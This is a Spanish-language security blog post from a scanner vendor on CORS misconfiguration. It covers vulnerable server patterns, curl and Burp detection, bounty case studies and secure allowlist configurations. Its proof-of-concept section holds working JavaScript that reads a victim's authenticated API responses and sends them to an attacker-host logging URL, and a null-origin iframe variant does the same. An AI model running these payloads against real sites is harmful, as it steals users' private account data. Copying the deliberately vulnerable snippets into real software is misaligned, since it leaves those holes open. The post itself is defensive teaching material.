← Volver al blog
Seguridad web 3 de abril de 2026 18 min de lectura

Vulnerabilidad por configuración incorrecta de CORS: guía completa de detección y prevención

Las configuraciones incorrectas de CORS son una de las vulnerabilidades recompensadas con mayor frecuencia en los programas de recompensas por errores, y también una de las más subestimadas. Un solo encabezado Access-Control-Allow-Origin mal configurado puede exponer todos los endpoints autenticados de una API a dominios controlados por atacantes.

~35%
Aplicaciones web con problemas de CORS
$3K+
Recompensa media por errores
Crítica
Cuando se exponen credenciales
OWASP A05
Configuración incorrecta de seguridad

¿Qué es CORS y por qué es importante?

ℹ️ La política del mismo origen

De forma predeterminada, los navegadores aplican la política del mismo origen (SOP): el código JavaScript que se ejecuta en attacker.com no puede leer las respuestas de bank.com. CORS es el mecanismo que relaja esta restricción y, cuando está mal configurado, puede socavar por completo la SOP.

El intercambio de recursos de origen cruzado (CORS) es un mecanismo basado en encabezados HTTP que permite a un servidor indicar qué orígenes (dominio + esquema + puerto) distintos del suyo pueden leer sus respuestas. Cuando un navegador realiza una solicitud entre orígenes, aplica la política CORS del servidor.

Los encabezados esenciales que debes conocer:

⚠️ La combinación peligrosa

La vulnerabilidad más crítica ocurre cuando un servidor devuelve tanto Access-Control-Allow-Origin: [controlado por el atacante] COMO Access-Control-Allow-Credentials: true. Esto permite a los atacantes realizar solicitudes autenticadas desde su sitio y leer las respuestas.


Patrones de configuración incorrecta de CORS

1. Comodín con credenciales (imposible según la especificación, pero se intenta a menudo)

Los navegadores rechazan Access-Control-Allow-Origin: * cuando se combina con credenciales. Los desarrolladores suelen intentarlo y después «corregirlo» reflejando dinámicamente el origen, lo que crea una vulnerabilidad aún peor.

2. Reflejo indiscriminado del encabezado Origin

# Lógica vulnerable del lado del servidor (Python/Flask)
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin')
    response.headers['Access-Control-Allow-Origin'] = origin  # NUNCA HAGAS ESTO
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

Ahora cualquier origen puede leer respuestas autenticadas. Esta es la vulnerabilidad CORS más común en los programas de recompensas por errores.

3. Validación débil del origen (evasión mediante subcadenas o expresiones regulares)

# Vulnerable: comprueba si el dominio de confianza aparece EN CUALQUIER PARTE del origen
if 'trusted-bank.com' in request.headers.get('Origin', ''):
    # Evasión: el atacante registra evil-trusted-bank.com o trusted-bank.com.evil.com
    allow_origin(origin)

4. Confianza en el origen null

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

El origen null puede activarse mediante iframes aislados, redirecciones y URL file://. Los atacantes pueden crear páginas que envíen solicitudes con Origin: null.

5. Comodín de subdominio sin anclaje al TLD

# Pretende permitir *.company.com, pero también permite evil.company.com.attacker.com
if origin.endswith('.company.com'):
    allow_origin(origin)

6. Envenenamiento de la caché de solicitudes preliminares

Cuando se establece Access-Control-Max-Age, las respuestas preliminares almacenadas en caché pueden explotarse si la lógica de validación del origen cambia sin invalidar la caché.


Detección: cómo encontrar configuraciones incorrectas de CORS

Detección manual con curl

# Prueba 1: comprobación básica de reflejo
curl -s -I -H "Origin: https://evil.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Prueba 2: origen null
curl -s -I -H "Origin: null" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Prueba 3: evasión mediante subdominio
curl -s -I -H "Origin: https://target.com.evil.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Prueba 4: evasión mediante prefijo de dominio
curl -s -I -H "Origin: https://eviltarget.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

Detección automatizada con Corsy

# Instalar y ejecutar Corsy
pip install corsy
python3 corsy.py -u https://target.com -t 10

# Escanear una lista de URL
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"

Detección con Burp Suite

En Burp Suite Pro, el escáner activo comprueba automáticamente las configuraciones incorrectas de CORS. Para realizar pruebas manuales, utiliza la extensión CORS* de BApp Store. Pasos:

  1. Captura una solicitud con Burp Proxy
  2. Envíala a Repeater
  3. Añade el encabezado Origin: https://evil.com
  4. Comprueba si la respuesta refleja el origen en Access-Control-Allow-Origin
  5. Comprueba si también está presente Access-Control-Allow-Credentials: true

Qué buscar en las respuestas

RespuestaGravedad¿Explotable?
ACAO: *Baja-mediaSolo sin credenciales
Solo ACAO: [origen malicioso]MediaSin credenciales
ACAO: [origen malicioso] + ACAC: trueCríticaSí: robo completo de credenciales
ACAO: null + ACAC: trueAltaMediante un iframe aislado

Prueba de concepto: explotación de una configuración incorrecta de CORS

⚠️ Solo con fines educativos

La siguiente PoC demuestra el impacto de las configuraciones incorrectas de CORS. Realiza pruebas únicamente en aplicaciones que sean de tu propiedad o para las que tengas permiso explícito por escrito.

PoC básica de CORS (lectura de datos confidenciales)

<!-- Alojado en attacker.com -->
<script>
fetch('https://victim.com/api/account/profile', {
  credentials: 'include',  // Envía cookies
  mode: 'cors'
})
.then(r => r.text())
.then(data => {
  // Exfiltrar al servidor del atacante
  fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
})
.catch(e => console.log('Bloqueado por CORS:', e));
</script>

PoC de origen null (iframe aislado)

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        srcdoc="<script>
  fetch('https://victim.com/api/userdata', {credentials:'include'})
  .then(r=>r.text())
  .then(d=>parent.postMessage(d,'*'));
</script>">
</iframe>

<script>
window.addEventListener('message', e => {
  fetch('/log?d=' + encodeURIComponent(e.data));
});
</script>

Encadenamiento de toma de control de subdominio y CORS

Si un subdominio de confianza (por ejemplo, legacy.victim.com) está disponible para una toma de control y la API confía en *.victim.com, combinar la toma de control del subdominio con CORS crea una cadena de impacto crítica.


Vulnerabilidades CORS del mundo real

Caso práctico: gran plataforma de comercio electrónico (recompensa de 2,500)

📋 Escenario

Un investigador descubrió que el endpoint /api/v2/payment-methods de la API de pagos reflejaba cualquier encabezado de origen con credenciales. Al alojar una página maliciosa en un dominio similar, podía leer silenciosamente los metadatos de las tarjetas de crédito guardadas por las víctimas (últimos 4 dígitos, fecha de caducidad y dirección de facturación), así como el saldo de sus cuentas, cuando visitaban la página del atacante.

Caso práctico: portal sanitario (crítico)

⚠️ Datos de pacientes en riesgo

El portal para pacientes de una empresa sanitaria aceptaba solicitudes procedentes de orígenes null. La API administrativa interna utilizaba la misma política CORS que la API orientada a los pacientes. Un iframe aislado del atacante podía leer PHI (información sanitaria protegida) de sesiones autenticadas, lo que constituía una infracción directa de HIPAA.

Errores CORS divulgados destacados

EmpresaVulnerabilidadRecompensa
ShopifyReflejo del origen en la API para comerciantes5,000
UberConfianza en subdominios mediante comodín$3,000
YahooAceptación del origen null,500
StarbucksEvasión mediante prefijo de dominio$4,000

Prevención: refuerzo de las configuraciones CORS

Validación del origen mediante una lista de permitidos (enfoque correcto)

# Python/Flask: implementación segura
ALLOWED_ORIGINS = {
    'https://app.company.com',
    'https://admin.company.com',
    'https://company.com'
}

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Vary'] = 'Origin'  # ¡Esencial para el almacenamiento en caché!
    return response
// Node.js/Express: implementación segura
const allowedOrigins = new Set([
  'https://app.company.com',
  'https://company.com'
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  next();
});

Configuración de CORS en Nginx

# nginx.conf: CORS seguro
map $http_origin $cors_origin {
    default "";
    "https://app.company.com" $http_origin;
    "https://company.com" $http_origin;
}

server {
    location /api/ {
        if ($cors_origin) {
            add_header 'Access-Control-Allow-Origin' $cors_origin always;
            add_header 'Access-Control-Allow-Credentials' 'true' always;
            add_header 'Vary' 'Origin' always;
        }
        # No usar nunca: add_header 'Access-Control-Allow-Origin' '*';
    }
}

Lista de comprobación de seguridad de CORS


CORS frente a CSRF: entender la diferencia

ℹ️ Confusión habitual

CSRF explota el envío automático de cookies por parte del navegador en solicitudes que modifican el estado (escrituras). El atacante no necesita leer la respuesta. Las configuraciones incorrectas de CORS permiten a los atacantes leer respuestas entre orígenes. Ambas requieren que la víctima esté autenticada. CORS NO protege contra CSRF; para ello, utiliza tokens CSRF.

Pruebas de CORS en tu canalización de CI/CD

# Añadir a tu canalización de seguridad (por ejemplo, GitHub Actions)
- name: Escaneo de seguridad CORS
  run: |
    # Probar endpoints críticos
    for endpoint in /api/user /api/account /api/payments; do
      response=$(curl -s -I \
        -H "Origin: https://evil-test-domain.com" \
        "https://${{ env.TARGET_URL }}$endpoint")
      
      if echo "$response" | grep -qi "access-control-allow-origin: https://evil"; then
        echo "CONFIGURACIÓN INCORRECTA DE CORS DETECTADA: $endpoint"
        exit 1
      fi
    done
    echo "Comprobación de CORS superada"

Detecta automáticamente configuraciones incorrectas de CORS

KENSAI analiza continuamente todos los endpoints de tu API para detectar configuraciones incorrectas de CORS, vulnerabilidades de reflejo del origen y problemas de confianza en orígenes null.

Iniciar escaneo gratuito →

Preguntas frecuentes

¿Una configuración incorrecta de CORS siempre es crítica?

La gravedad depende de la combinación de encabezados. Access-Control-Allow-Origin: * por sí solo (sin credenciales) tiene una gravedad baja-media. Los casos críticos incluyen tanto un origen arbitrario o reflejado COMO Access-Control-Allow-Credentials: true, lo que permite el secuestro completo de sesiones y el robo de datos.

¿Pueden explotarse las configuraciones incorrectas de CORS sin interacción del usuario?

Las explotaciones de CORS requieren que la víctima visite la página del atacante mientras mantiene una sesión activa en el sitio objetivo. La explotación ocurre silenciosamente en segundo plano y la víctima no ve nada. Esto las hace especialmente peligrosas en escenarios de phishing.

¿HTTPS evita los ataques CORS?

No. CORS es un mecanismo que relaja la política del mismo origen y funciona independientemente de si se utiliza HTTPS. El esquema (http frente a https) forma parte del origen, pero utilizar HTTPS no corrige las configuraciones incorrectas de CORS.

¿Cómo detecta KENSAI las configuraciones incorrectas de CORS?

El escáner activo de KENSAI prueba todos los endpoints de la API con encabezados de origen modificados y comprueba el reflejo de orígenes, la aceptación del origen null y la combinación crítica de orígenes reflejados con compatibilidad para credenciales. Los hallazgos se priorizan según su explotabilidad real, no solo por la presencia de encabezados.

La seguridad no es opcional.

🗡️ El equipo de KENSAI

Artículos relacionados

KENSAI frente a CrowdStrike: el mejor... Robo de credenciales de FortiGate; la botnet KadNap infecta 14 La oleada de productos de RSAC 2026 transforma el mercado, OpenAI lanza una recompensa por errores de seguridad de AI, G